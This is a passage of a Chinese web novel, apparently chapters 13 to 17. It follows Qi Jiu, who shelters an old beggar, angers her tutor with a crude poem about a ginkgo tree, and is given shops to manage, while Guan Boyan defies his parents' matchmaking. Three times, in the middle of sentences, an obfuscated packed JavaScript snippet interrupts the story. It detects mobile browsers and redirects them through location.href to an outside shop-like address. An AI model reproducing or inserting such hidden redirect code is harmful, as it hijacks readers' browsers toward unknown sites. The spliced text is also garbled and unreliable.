柒奺转眼打量老乞丐——天已入秋，眼看着就入冬了，可他身上破衣褴褛，赤脚无鞋，除了头发胡子，浑身没有一处白。想来，为了这几只兔子，他在深山野林中待上数日，既无食物水源，又无片瓦栖身，应该着实吃了些苦头。 都是苦命的人啊……柒奺见了老乞丐，便忍不住想起自己的爷爷。 平凉冬季严寒，他该去何处栖身呢。 “……娘子？” 柒奺这才发现瓶儿在叫自己，忙回神应了一句。 瓶儿正提溜着一只兔脚说：“娘子，不如今儿中午，咱就架个柴火堆烤兔肉如何？” 说起开荤，柒奺又来了劲头：“好呀好呀，咱去把前些天劈的柴抱到院儿里来。” 两人说说笑笑讨论着兔子的吃法，全然忘了打兔子来的人。老乞丐没了刚才的傲娇，似有话又不便说，身子渐渐缩起来，表情也变得有些窘迫。 柒奺和瓶儿扔下兔子，高高兴兴地去抱柴火。老乞丐望着她们的背影，搓着手掌试探地说道： “那我就……” 声音太小，柒奺和瓶儿说说笑笑似乎并未听见。他尴尬地将要回身离开，却听柒奺铃铃清脆的声音传来： “罢了，这里空房间多，你暂且在这儿住下吧。机灵点儿，别叫外面的小厮发现了。” 老乞丐一喜，冲上去喊道： “那老夫要两根后腿！” “做你的白日春秋黄粱大梦去吧——一根！” 柒奺伸出一根手指头，调皮地转过身去。 14. 老怪物 凉州为文唐“北三洲”之一，入秋不过半月，便寒意骤起。 柒奺让老乞丐随意挑一间无人的厢房居住，暂且在此过冬。可他偏喜柴房，将那麦秸草铺就铺就，再垫上一张苇席，连枕头也不用，就这样心满意足地曲肱躺下。柒奺劝说房间足够，被褥足枕头也足够，他偏说这样好，比住皇宫还舒服，直让柒奺忍不住叫他“老怪物”。 老怪物，老怪物，这称呼也就定了下来。 柒奺说：“老怪物，听你这口气，就像住过皇宫似的。” 老乞丐跷起二郎腿：“老夫我不仅住过皇宫，还睡过当今皇帝的龙床呢！” 柒奺翻了个白眼儿：“真是癞há蟆打哈欠——好大的口气！” 老乞丐也呛回声去：“真是个牙尖嘴利的小猢狲！” 这称呼也从此定下了。 柒奺也问过他姓甚名谁从何处流落至此，可老乞丐只说无名无姓，既无来处，也无去处。 问他多少岁，老乞丐又随口一说：“一百二十岁。” …… 老王八。 为了给老乞丐买衣服和鞋，柒奺不得不动用关薄言的银两。剐下的兔毛没有给她自己做坎肩儿，倒是做了三副护膝，一副给老乞丐，一副留给爷爷，还有一副……她打算送给关薄言，以抵花掉的银两。 她不想亏欠任何人。 柒奺自己也不能闲着。这几日听杨先生讲学，婆母沈氏是千叮咛万嘱咐，连劝带骂让她万不可得罪女先生。柒奺也只能忍着耐着，无聊透顶，昏昏欲睡。 杨先生近日讲的是《女孝经》，授之句读，讲过大意，便要柒奺背下来。 背错一字，就要挨一下手板心。 深夜，瓶儿都已经睡下了，柒奺却还捧着《女孝经》，坐在院儿里就着月光背书。可她的心思全不在书上的孝顺谦恭，索性将书一掷，只撑着下巴，遥望月亮出神。 不多时，老乞丐“哐当哐当”晃着酒壶走来，见柒奺呆坐院中，便也往近旁的石阶上一坐。他将柒奺扔下的《女孝经》捡起来，随手翻翻，说道：“小猢狲，为何将这书扔在地上？沾了土，怪可惜。” 柒奺一动不动，仍望着月光，深叹一口气。 老乞丐咂了口酒，笑道：“老夫瞧你白日里大大咧咧的，没想到你也有叹气的时候。罢了（liǎo）、罢了，人生难得是罢了啊，呵呵……” 柒奺不由得收回目光，望向那座漆黑的墓碑，叹出一口薄雾。 “老怪物，你既说你活了一百二十岁，那你能不能告诉我，我究竟该作何选择。” “哎？此事你怎的问我，该问你自己啊。” “问我？……我若想得明白，何故问你？——不说拉倒。” 柒奺翻了个白眼。 老乞丐干脆撑着脑袋躺在台阶上，手指拎着酒壶悠悠地晃着： “小猢狲，你这话问得好生奇怪。你要作何选择，何故问我、问旁人？路是你自己走，是甘是苦管得着旁人什么事？我是叫你问问自己的内心，心之所向为何，心知所愿为何，心之所乐为何。做乞丐，谁愿意？可老夫偏觉得甚好、快活，只要这路是你本心之路，那苦也是甘。” 柒奺有些出神：“问我的本心吗……可我心里很迷茫。” “迷茫，那是你要的太多，心中总盼得一个十全十美的法子。可这世上之事，不如意十之八九，怎的你就得事事称心如意？若硬要事事称心如意，又怎会不迷茫？” 老乞丐架起二郎腿，继续说道： “做乞丐的自由潇洒，便得舍弃温饱，居无定所；做大官的锦衣玉食，却也得四处掣肘，溜须拍马——就像那猴山上的猴子，往下让别的猴儿瞧自己的红屁股，往上又瞧别人的红屁股，哪有做乞丐的快意潇洒？可老夫我愿意做乞丐，就不愿瞧任何人的屁股。” 听了老乞丐的“屁股”理论，柒奺沉默不语。 “你是说，我此番选择只需依靠本心，不必管后果？” 老乞丐摆摆手道：“后果自然是要管的，看清了前路，想清了后果，才能权衡。” “权衡？” 这是柒奺第一次听见这个词语，往常，从未有任何一人教导过她。 老乞丐点点头：“做选择，便要先看清所得与所失——权衡，便是让你权较轻重。想要依照本心而为，是否能承受得住与之而来的代价，心中清明，甘苦自受，方能一往无前。” 柒奺有些惊讶：“老怪物，没想到你还挺厉害的。” 老乞丐呵呵大笑：“老夫我活了一百八十岁，这点道理还是懂得的，否则怎能活得如此畅快？” “……一百八十岁，我瞧你嘴里没句真话。”柒奺撇撇嘴，长叹一口气，起身拍了拍屁股，“行了，我要去睡了，你老人家自己在这喝酒赏月吧。” 老乞丐忙捡起《女孝经》：“小猢狲，这书你不背了？” 柒奺头也不回地说： “嘁……那劳什子早背完了！” 望着柒奺的背影，老乞丐眯起眼捋着长胡须，满意地点了点头。 第二天傍晚，柒奺照例回到祈宅，听杨先生讲学。 杨先生叫她背书，柒奺将那《女孝经》往杨先生桌上一放，翻眼盯着天花板，一字一句地背了起来。杨先生以手托颔，闭眼聆听，听着听着，不禁皱起了眉头，将那《女孝经》唰唰唰地翻开来。 杨先生心中惊异，这柒小娘子不仅一字未错，还将剩余未讲授过的内容一并背完了。听柒奺背诵完，杨先生有些不敢相信：“这后面几章，是何人教你的？” 柒奺欠身说：“学生跟随先生学习，怎可另请他人教导。学生不过是听了前面几章，觉得内容无甚差别，比照前几章自己背下了剩余的章节罢了。” 杨先生抬眼盯着柒奺，对她的话并不全信，只是懒得深究，便说道：“这《女孝经》你既已背完，今日起便学诗吧。” 杨先生将书放在右侧，转身从架子上取出一本《文唐才女诗集》递给柒奺。柒奺随意翻了几页，尽是些闺阁怨偶、伤春悲秋之作，其中有几首，正是出自眼前这位平凉才女杨陌寻。 杨先生摇起绢扇，讲道： “作诗，便是将眼前所见、心中所感，流于纸笔。切不可矫揉造作，炼字却不可嚼字，力求浑然天成，自然流露——总之，作诗最讲究‘心境’和‘意境’二词。” 先生说着，缓缓踱步至窗前，指着窗外金黄摇曳的银杏说道： “你就以《咏银杏》为题，作诗一首来看看吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527193|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 柒奺缓缓转头，望着纸窗外灯火下的银杏，秋风瑟瑟，金叶飘洒。 柒奺心知，哪怕她推说“不会”，杨先生也会执意令她作诗。可诗词歌赋却是她最不喜的，往往关薄言执意要吟诗给她听，她都磨皮搔痒如坐针毡，连关滢都笑她，说柒奺学诗就是“山猪嚼牡丹”。 “……学生知道了。” 柒奺收回目光，开始有条不紊地铺纸研墨。 看着柒奺认真思索摇头晃脑的模样，杨先生忽然觉得自豪，此女还算是“孺子可教”，恐怕全平凉除了自己，也没有人能将这株风滚草修成盆栽了。 杨先生满意地走回案旁，她此时诗兴骤起，也想作诗一首。 室内安静下来，两根毛笔在宣纸上纵情点画，逢魔将尽，不觉时光流逝。 良久，天已黑尽，繁星如洗，瓶儿进来添了几盏灯，室内亮堂起来。杨先生搁下毛笔，将宣纸提起吹了吹—— 《咏银杏》 西风落叶满江津， 独倚兰窗迎月轮。 绢丝擦尽寒光剑， 玉手摇落黄金尘。 杨先生心满意足地读罢，抬眼问柒奺：“小娘子，你的诗可作好了？” “回先生，快了。” 杨先生见她娥眉紧蹙，绞尽脑汁，忽而眉舒颜展，奋笔疾书，知是写成了。杨先生知道柒奺出身农户，从未学过诗书，心想也不可太过严苛，该以鼓励为主，便微笑着让柒奺拿来给她看。 “快给我看看吧，第一次作诗，有些生涩也无妨，万事开头难。” 柒奺站起身，将那宣纸捏在手里，神情羞赧地来到先生身边，双手递给先生。 杨先生嘴角带笑，接过宣纸默念起来。刚念出一句“秋风一吹落满地”，杨先生突然哑然失语，怒目圆睁，面色如土，将那宣纸几把揉碎，扔在柒奺身上。 那宣纸上写着—— 《咏银杏》 秋风一吹落满地， 十天半月扫不尽。 丫鬟见了直摇头， 不如砍了做烧鸡。 杨先生抚着胸口直喘气，伸出一根手指戳在柒奺眼前：“你……简直粗俗鄙陋，不知所谓！我是教不了你了，你们祈家另请高明吧！” “先生，先生！您再教教学生呀！先生您不要走呀……” 杨先生提起裙摆，像一头发疯的母牛般，怒气冲冲地跑出门去。柒奺象征性地追出了几步，望着杨先生头也不回的架势，满意地拍了拍手。 瓶儿忐忑地凑到柒奺身边，小声说道：“娘子，你这会儿又把先生气走了，大娘子不知会如何惩罚你呢……娘子，你不怕吗？” “怕呀。”柒奺说，“不过是跪祠堂挨几个藤条罢了，我受得住，一点皮肉之苦换来耳根清净，值得很呢。” 方才瓶儿还担心，听柒奺如此一说，也笑了起来。 果不其然，先生走后没一刻钟，沈氏便带着秦妈妈风风火火地冲了进来。她一把将柒奺推向旁边，冲过去捡起地上的纸团展开，又看了看书案上杨先生留下的诗，顿时火冒三丈，将那纸奋力撕成碎片，纷纷扔在柒奺身上。 “你这、你这写的什么东西——还砍了做烧鸡？怎么不吃死你这头蠢猪！” 15. 富贵险中求 书房内，沈氏一边骂柒奺，一边抚着胸口大口喘气： “上次……啊，你！你写了个‘柒大鸟’，害得我跑到杨先生家，像孙子似的替你挨了几个时辰的骂！我看……我看让你读书，还不如去喂头猪！你……你给我去祠堂罚跪，不许吃不许喝，跪到我满意为止！” 沈氏这阵仗，将瓶儿吓得不轻，忙拉着柒奺跪下来磕头。 “大娘子，求您不要罚小娘子，娘子她……” “你这死丫头还敢替她辩解！”沈氏一脚踹在瓶儿肩膀上，“那你也去……和你家娘子一起跪！没有我的话，谁也不许让她们起来！” 瓶儿耸着肩膀抽泣，沈氏见她竟哭了，一气之下又想给她一脚。秦妈妈却眼疾手快，一把将柒奺和瓶儿从地上拉起来，拽着她们朝祠堂走去： “还愣着做什么，快快去祠堂领跪吧！” 走廊上，秦妈妈一面扯着瓶儿，一面压低声音说道： “你这个不懂事的小妮子，哭什么哭！惹得大娘子不痛快，把你发卖出去，我看你还去什么地方哭！——快快住嘴！” 听秦妈妈这么一说，瓶儿紧咬嘴唇，忍住了哭声。 祠堂内，灯火幽幽，四周冷清无声。秦妈妈领柒奺和瓶儿进了祠堂，拿出两只草蒲团扔在地上，对柒奺说道： “小娘子，你就在这好好跪着吧，可千万别再干那出格荒唐的事了。如今主君的身体已见好转，若将来真将你休了回去，怕是到了时候，你后悔都来不及了！我话就说到这里，小娘子你好生掂量掂量吧！” 柒奺乖顺地拉着瓶儿跪在草蒲团上，回身对秦妈妈说道：“秦妈妈，今天谢谢你了。” “哼……我不过是见不得大娘子动气伤身，望小娘子好自为之吧！” 秦妈妈说完，拂手而去。 柒奺和瓶儿跪了祠堂，杨先生誓不再登祈家的门，沈氏虽然命下人不可多言，消息还是很快传到了祈家主君祈铄的耳朵里。 第二天一早，听了小厮的回报，看着他手里那团揉得稀碎的纸屑，祈铄却陷入了沉思。 那晚柒奺对他说的“狂言”，又浮现在祈铄的脑海里—— “小女不才，愿做这平凉第一商……” 祈铄沉默片刻，对小厮吩咐道：“去，把小娘子请过来。” 小厮有些为难：“可大娘子说……” “就说是我说的！”祈铄咳嗽两声，提高了声调，“怎么，如今我的话也不好使了？” “不不不……”小厮忙躬身道，“主君息怒，小的这就去祠堂。” 祈铄服了碗汤药，刚叫丫鬟将碗端出门去，小厮便领着柒奺进来了。好歹是跪了一夜，柒奺的双膝疼得厉害，每走一步都龇牙咧嘴，可她心中庆幸，自己受这一番罪，算是赌对了。 柒奺站在书案前，欠身唤了声“公爹”。 祈铄点点头，假意对柒奺兴师问罪：“你两次气走杨先生，究竟是何故啊？上次你婆母回来，才对我吹胡子瞪眼，说你若是再气走杨先生，她绝不替你收拾这个烂摊子——怎么，你是想我拖着这副病躯，替你求情去？” “柒奺不敢，还请公爹息怒。” 柒奺不骄不躁，微微欠了欠身。 祈铄没有立刻回应，只是坐下来，啜口茶润了润喉咙。瓶儿忐忑地立在一旁，柒奺却耐心等着，等祈铄放下茶盏，慢慢站起身，从身后的架子上，取出几本厚厚的账本，摆在柒奺面前。 “奺娘，你若立志经商，也不是不可以——今日，我便考考你吧。” 柒奺微微一愣。偌大的祈家，谁都不拿她当盘菜，还是祈铄第一个唤她“奺娘”。 祈铄说：“这几本账本，你拿去看看，看完后，告诉我看出了什么。” 柒奺恭敬地拿起账本，捧在手里认真翻看起来，直到瓶儿替她和祈铄添了几盏茶，她才合上账本，又放回祈铄的面前。 祈铄说道：“看完了？说吧，有什么看法。” 柒奺说：“回公爹，柒奺从未做过生意，只在邻居家开的药铺里，见过掌柜记账。可这关家药铺在鸭子村，地处偏僻，也无甚大买卖，与祈家商铺的账目自是不能相比……柒奺，也不敢妄断。” “什么……关家药铺？” 祈铄瞪大了眼睛，忙问道：“我记得……你之前是不是说过，这铺子的东家有一儿一女，女儿与你是闺中密友，儿子也常常教你读书认字？” 柒奺点点头：“正是，只是关家哥哥打小读书，并未学习经商之道，也没有教过柒奺。” 祈铄心中似有所悟，试探地问道： “这关家大郎，难道是叫……关薄言？” “没错。”这会儿轮到柒奺惊讶了，“公爹怎知道关家哥哥的名字？” “没有，没有……据说他是少年才俊，年少成名，听人说起过罢了……” 祈铄移开目光，端起茶慢慢啜着。如今他总算明白，那日新上任的关曹参，为何会突然来他家拜访，正事未提一句，只问小郎君的婚事。而后他匆匆离开，面沉如铁，怕正是因了沈氏那句“旰食宵衣，形容憔悴”…… 祈铄忍不住瞥向一旁的柒奺——原来，原来，其中还有这层渊源。 柒奺却疑惑地看着祈铄。 那日关家兄妹突然闯进别院，她只当是自己外出闲逛被他们认了出来，并不知道之前关薄言曾来过祈家。如此，祈铄的反应，也只能叫她摸不着头脑了。 “……公爹？” 祈铄连忙咳嗽两声，调整好表情，将话题引回原处：“那你说说……这账本与关家药铺的账本，有什么不同之处么？” 柒奺说：“并无任何不同之处，这几本账本进出有名，数目清楚……可柒奺觉得奇怪。” “怎么奇怪？你不是才说，并无任何不同之处么？” “柒奺不知当讲不当讲……”柒奺顿了顿说道，“可正是因为相同，才令人奇怪。” “那就说来听听。” 柒奺整理片刻思绪，有条不紊地说道： “这关家药铺小，掌柜的便是东家，东家便是掌柜的，账目自然名目清晰、数目清楚，没有任何杂账乱账。可祈家却不同，东家不会亲自掌管买卖，生意都是交由掌柜的打理，多半半年才会整体轧账。恕柒奺直言——祈家家大业大，一年下来，总免不了些呆账坏账死账和难以对账，这掌柜记账干净得如同东家，怎不叫人觉得奇怪呢？” 柒奺说完，抚嘴笑起来。 祈铄也笑了笑，拍拍手掌站起身来：“这几本账本， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527194|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是来自东市口的三间铺子，既然你觉得有问题，那么……这三间铺子，我就交给你去管吧。你既立志做平凉第一商，若这三间铺子都管不好，那我就当你当初只是孩童戏言。” 听祈铄如此说，柒奺与瓶儿同感欣喜，向祈铄行了个跪拜礼：“谢谢公爹……肯给柒奺一个机会！” 祈铄笑笑，喟叹地摇着头说：“你这小妮子，先是惹得杨先生热茶泼席，又写了首烧鸡诗，就是想铤而走险，从我这来一出‘富贵险中求’吧？罢了，我儿楚郎从小顽劣，不爱学习经商，将来祈家交到你们手中，怕是还要你来撑着了……” 瓶儿扶着柒奺站起身时，祈铄已来到柒奺面前，将一只算盘重重放在她手中。 祈铄目光深沉地说：“这只算盘，从我父亲手上，又传给了我，见证了祈家家业的兴衰。这是我启蒙时用过的第一把算盘，如今我便传给你，希望……你能记住你说过的话。” 柒奺捧着算盘，细细端详—— 木质的框架，黑漆斑斑驳驳，颗颗木珠尽有磨损，不知已被打过了多少千遍多少万遍。 她双手托着算盘，忽然觉得这算盘如此沉重。 “对了，还有一言。”祈铄最后说道，“富贵险中求，也在险中丢，求时十之一，丢时十之九……富贵，是求不完的。奺娘，有所求，便有所丢，望你好自为之。” “姑娘……二姑娘！” 丫鬟墨香一脸春风，快步走进薛宛的屋子里，手中装香粉胭脂的提篮还未来得及放下，便急忙掀帘进了里屋。 薛宛正在点香，小心翼翼地盖上镂花的香炉盖，见墨香跑得满脸通红，嗔怪道：“还未进屋就听你一通喊叫，小心我爹娘听到了，见你如此冒冒失失，又要打你的板子呢。” 墨香却仍龇牙笑着：“姑娘你先别说打板子的事儿……快，猜猜我今儿出去碰着谁了？” 薛宛却心不在焉：“碰着谁了？” 墨香放下篮子，压低声音说道：“我碰着祈家的木桃了！” 木桃是采买丫鬟，常常外出，偶有一次替大娘子采买衣料，碰见了墨香。二人聊了几句，方知对方是祈家和薛家府里的，同是大院儿里的丫鬟，有时出门碰见了，也常常请对方吃吃小点心。 听见是祈家人，薛宛这才来了兴趣：“木桃说什么了？快说说！” “她说……” 墨香说了两个字，捂起嘴，噗地笑出了声。薛宛见她卖关子，忙晃她的胳膊。 墨香收住笑，一口气说道：“她说，她家的柒小娘子出身鄙陋，沈大娘子有心替她请了杨陌寻杨先生讲学，她却两次把先生给气走了！据说杨先生最后一次走时，气得脸拉得比马脸还长，这事儿在祈家都传开了呢！……” “杨陌寻？”薛宛感叹道，“杨先生可是才女啊……我小时候去过杨先生的学堂，先生的诗做得是真好，不愧是平凉第一才女。这祈家主母，竟请了杨先生去教那小娘子，看来，是真重视这个儿媳妇呢……” 薛宛起了醋意，忽而失神起来。 墨香见姑娘又要神伤，忙说道： “才不是姑娘想的那样呢！木桃说了，沈大娘子一点儿也不喜欢这位小娘子，当着丫鬟下人的面，都骂了她好多次呢，还说她是……是……” 16. 父母即天地 “到底是什么？你个死丫头，是要急死我才罢休吗？” “说她是……一头蠢猪！” 墨香说完，捂着嘴笑得花枝乱颤。 薛宛一愣，也忍不出嗤笑出了声。可她立马收住笑，矜持地捏起帕子挡住嘴唇：“此话当真？我看是下人以讹传讹吧，沈大娘子如此持重，怎会……怎会说出这等粗言。” “是真的姑娘……” 墨香将柒奺写诗气走杨先生的事一口气讲了出来，薛宛仔细聆听，心中窃喜。墨香当时便觉得有趣得紧，还叫木桃将柒奺的诗背给她听，她又绘声绘色地背给了薛宛听，直逗得薛宛绷不住闺秀模样，捧着肚子笑得花枝乱颤。 薛宛笑完，忽然问她：“那……杨先生作了什么诗？” 墨香却为难了：“木桃没说过，只说柒娘子的诗一传十、十传百，满院儿的下人都会背了呢！” 薛宛抚着胸口顺了顺气，微笑着说道： “这样的娘子，楚郎定是厌弃的。也好，也好……如此，我也就彻底放心了。” 见姑娘心满意足的模样，墨香也松了口气。 自打前段时日主君薛司户去迎了新上任的关曹参，便日夜盘算想将女儿嫁过去。可姑娘却不愿意，刚好没多久，便又整日吁声叹气愁眉不展。墨香打小跟随姑娘，只要能叫姑娘开心，多吃几碗饭食，她的心中也能好受些。 主仆俩正有说有笑，薛宛的房门却突然被推开了。 “宛儿，你说要买新的胭脂水粉，墨香那丫头究竟买回来没有？今日要去拜见曹参大人，你爹爹早就准备妥当了，你可别再拖延时间了！……” 进来的正是薛宛的母亲，司户娘子殷大娘子。 殷大娘子也不作停留，径直掀帘进了里屋，见墨香已然回来，面上总算堆起了笑。 “既然买回来了，还愣着做什么，快，给姑娘梳妆！” 薛宛黏在桌旁，不肯去镜前坐。殷大娘子也不管女儿愿不愿意，硬将她拽起来，按在镜前。墨香刚拿来银梳，殷大娘子就将梳子夺去，亲手给女儿梳起发髻。 “宛儿，你就别犟了。听你爹爹说，这关曹参可是少见的俊朗才子，偏偏儒雅，饱读诗书，又前途光明。更重要的是，他如今尚未娶妻，连一位通房妾室也未曾有，想来，是位为人正直不耽声色的正人君子呢。” “娘……” 殷大娘子见女儿油盐不进，掉了脸色： “宛儿，你为何执意要在祈楚那一棵歪脖子树上吊死？娘也不是硬要逼你嫁给关曹参，今日只是去见见，兴许你见了，便能明白他的好了呢？” “楚郎才不是歪脖子树。” 薛宛望着镜中的自己，不由地叹了口气： “娘，您将我这番精心打扮，若那关曹参看上了我，娘和爹难道不会逼我？宛儿说过了，除了楚郎，我谁也不嫁。若是到时驳了曹参的面子，爹娘可别怪女儿。” 殷大娘子想骂女儿“糊涂”，可转念一想，此时还得哄着女儿去，便将话忍了下来。 “你若见了关曹参还不愿嫁，爹娘绝不逼你。” “那宛儿便去。” 殷大娘子松了口气，将钗环首饰亲自给女儿戴好，又细细比对挑选，总算是满意了。对于自己的女儿，殷大娘子还是有信心的，薛宛的才情美貌，在平凉闺秀中数一数二，那关曹参见了，必不会不动心。 到那时，再想办法哄女儿上了花轿，便万事大吉。 薛司户在门外等得不耐烦，才总算见大娘子和女儿走了出来。见女儿的样貌打扮，薛司户的信心又增了几分，更是春风满面、喜笑颜开，小心翼翼地将女儿送上马车。 行到曹参府门口，薛司户掀开帘子，却见府外已经停了另一辆马车。 可巧，周司礼带着大娘子和女儿，也在曹参府外等候通报。 “今日是什么好日子，怎的周司礼也到曹参大人这儿来了？” 薛司户带着娘子和女儿下车迎上去，周司礼回头看见薛司户和女儿薛宛，表情瞬息万变，也大笑着拱手迎去：“薛司户，真巧……真巧啊！” 殷大娘子瞧对方的姑娘眉清目秀、青丝如瀑、肤白如雪，眉心还有颗美人痣，怎么瞧怎么不舒服；周家大娘子瞥见薛宛云鬓螺钿、气质温婉、腰身如柳，也从鼻孔里喷了喷白气。 尽管心照不宣气氛尴尬，双方还是眉开眼笑地见了礼，客气寒暄了一通。 寒暄完毕，薛司户将周司礼拉到一旁，压低声音说道： “你老小子，哪来这么大的姑娘？你姑娘不是去年才生出来，我们全家还去吃了满月酒呢！” 周司礼得意地笑道：“悦儿是我表亲家的闺女，如今已记在我家大娘子名下了。” “你！……”薛司户气得无话可说，“真是荒唐！” 两位大人正说着，小厮走出门来鞠了一躬： “司礼大人，司户大人，曹参大人请各位进去。” “……来了来了！” 两位大人鼻子上一双弯月，你不让我、我不让你，互相挤兑着跨进门去。 前厅内，关薄言却眉头紧锁，听着门外的动静，不觉深叹了口气。他怎不知今日司户和司礼两位大人来是有何目的，那日在凤仪楼他推脱了一次，如今便是推脱不过了。 他心里盼着的，自始至终都只有奺儿一人。 可祈家主君身子仍不见好，他也暂时寻不着名医，心里烦躁不已。 因着有女眷上门，关薄言便让父母和关滢一同出来见客，听闻两位大人今日都带了女儿前来，关氏夫妇也心中喜悦，打定主意要好好替儿子挑一位良配。 “关曹参！……” 两位大人一进门儿，便大步迎了上来。 “薛司户，周司礼！……” 关薄言也挂上笑，拱手迎了上去。 互相见了礼后，周司礼便迫不及待地介绍道：“关曹参，这是小女悦儿，年方二八，从小知书达理，温柔贤惠……” 未等周司礼说完，关薄言便鞠了一躬：“悦儿姑娘有礼。” 周司礼只好打住，忙拉出悦儿见礼。 这悦儿见了关薄言，登时面红如桃，春心摇曳，胸口急促地上下起伏，只得将脸低低埋了下去，羞得连说话也结巴起来：“曹、曹参大人……” 周司礼见女儿这般露怯，急得直肚子里跺脚。 薛司户却喜闻乐见，抢了一步上来，忙不迭介绍：“关曹参，这是小女宛儿，今年十七，正值青春年华……” “宛儿姑娘有礼。” “曹参大人有礼。” 薛宛欠了欠身。 初见爹爹口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527195|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日夜不离口的关曹参，薛宛自是愣了一愣，心想爹爹此番竟没有夸大其词。眼前的关曹参的确是英俊不凡，温润儒雅，生得白皙通透，却又不显得弱质。可终究是敌不过“情人眼里出西施”，薛宛对关薄言毫无心动，举止也大方得体，不显羞怯。 关氏夫妇互相对视一眼，对薛宛是越看越满意。 关滢倒是觉得无趣，她心知哥哥早已认定了奺儿，不会对这送上门来的闺秀动心，便只顾专心去吃桌上的点心了。 两位大人坐了半个时辰，关薄言便推说还有公务要处理，两位大人也只好起身告辞。 那边马车刚动起来，这边关母就喜笑颜开地拉过关薄言： “言儿，我瞧着那薛姑娘是真不错！人长得美，又大方懂礼貌，与你甚是般配啊！我看，不如……” 关薄言一听，顿时拉下了脸色：“母亲切莫再为儿做主了。” 关母急了，拿眼示意关父。 关父立马会意，厉声说道：“这儿女婚事，本就是父母之命媒妁之言，你如今做了一方父母官，竟要忤逆尊长？你这圣贤书都读到哪里去了！难道没读过‘父母即天地，罔极难报复。天地虽广大，难容忤逆族’！” 关滢扔下糕点，着急替哥哥辩解：“爹爹，哥哥他……” “他怎么？他就算做到了太师太傅，那也得认我这个父亲！”关父摆摆手说，“滢儿，你一个女儿家就别在这掺和了，回你的房间去！” 关滢紧咬住嘴唇，一跺脚冲出门去。 关薄言立在堂中，面色铁青，连唇角都在颤抖。 关父转身坐在上位，拿起了大家长的派头：“那薛家有意与我家攀亲，人说高嫁低娶，我看那薛宛就适合做咱关家的儿媳妇。我就做主了，过两天，就让你娘上门替你求亲去。” “哎、哎！”关母兴高采烈地答应着。 “……父亲！” 关薄言终于忍不住，捏紧拳头振声说道： “小时候……你要儿读书，儿便读书，昼夜寒暑，若稍有一丝懈怠，父亲便鞭笞罚跪，儿可曾有过一丝怨言？可曾忤逆过父亲母亲！可父亲母亲呢？当初我入京求学前，母亲曾答应过我，若我谋得一官半职便替我求娶奺儿，我做到了……可你们呢！不仅从一开始便是哄骗我，还作壁上观，为了我的仕途，竟要奺儿去死！” 关薄言说到这，关氏夫妇心虚地相看了一眼。 关父重整气势，猛拍椅背：“是滢儿那个死丫头告诉你的？这死丫头……看我回头不抽她！” “滢儿做得没错！”关薄言说，“父母即天地，有德即为天，有信即为地！圣贤书，从未教孩儿成为无信无德无忠无义之徒！为人子，行劝谏，正德行，是为孝道！” “你！……你这番顶嘴，是觉得翅膀硬了，我打不了你了？” 关父气得唾沫乱飞，起身提掌招呼在关薄言脸上。巴掌还未挨到脸，就被关母硬掰了下来： “打不得呀！……言儿如今可是凉州司户曹参，这脸上带个五指印，要怎么见人！” 关父终究怕误了儿子的公事，收回了巴掌。 关薄言深吸一口气，目不斜视，大声说道： “我如今已谋得官职，兑现了当初对父亲母亲的承诺，也请父亲母亲兑现你们的承诺，同意我迎奺儿进门！” 17. 柒小娘子 “你疯了？……柒奺那丫头早就嫁人了！你难道还想、还想强抢民妇不成！” 关母脸色刷白，简直难以置信。 她知道儿子脖子硬一根筋，却没想到他竟有如此重的执念。可她明白儿子从小就刚正，眼里揉不得沙子，如今得知父母言而无信、出尔反尔，怕是在他心里，早已丧失了父母的威仪——他们的话，儿子恐怕不会再轻易听信了。 果然，关薄言并未多做解释，转身拂袖而去： “总之，此事我决不让步。父亲母亲，还是早些歇息吧，近日就不要出门了！” 身后传来关父撕心裂肺的吼声： “孽障……真是个孽障啊！……” 关薄言快步冲回书房，坐在案几后，他强迫自己冷静下来，拿起书案上成堆的文书卷轴。气涌上头，他甚至想现在立马去寻周司礼，做主去祈家解除柒奺的婚事。 不知为何，他心中总是没来由的焦躁不安，仿佛多等一日，就多一分难定之因。 正想得出神时，小厮关安攥着封信，敲了敲书房的门。 关安是关薄言给他起的名字。他年仅十二，无父无母，无名无姓，流落凉州郊县乞讨为生，别人只唤他“小乞儿”。是关薄言衣锦还乡时遇着了他，见他身世可怜，眉眼却透着一股子聪明正气，便收了做小厮，赠以“关”姓。 关薄言让关安进来，关安恭恭敬敬地捧着书信，向关薄言深一鞠躬。 “大人，信使方才来过，说这封信务必要尽快交到您手中。” 关薄言接过信，拆开一看，落款竟是自己的老师韩尚书。 他面儿上总算有了欣喜之色，读罢信件，激动地站起身来： “老师竟说，不日要亲自前来拜访，此时已从平京出发了！……太好了，老师于我恩重如山，我正愁不知如何答谢恩师呢！……” 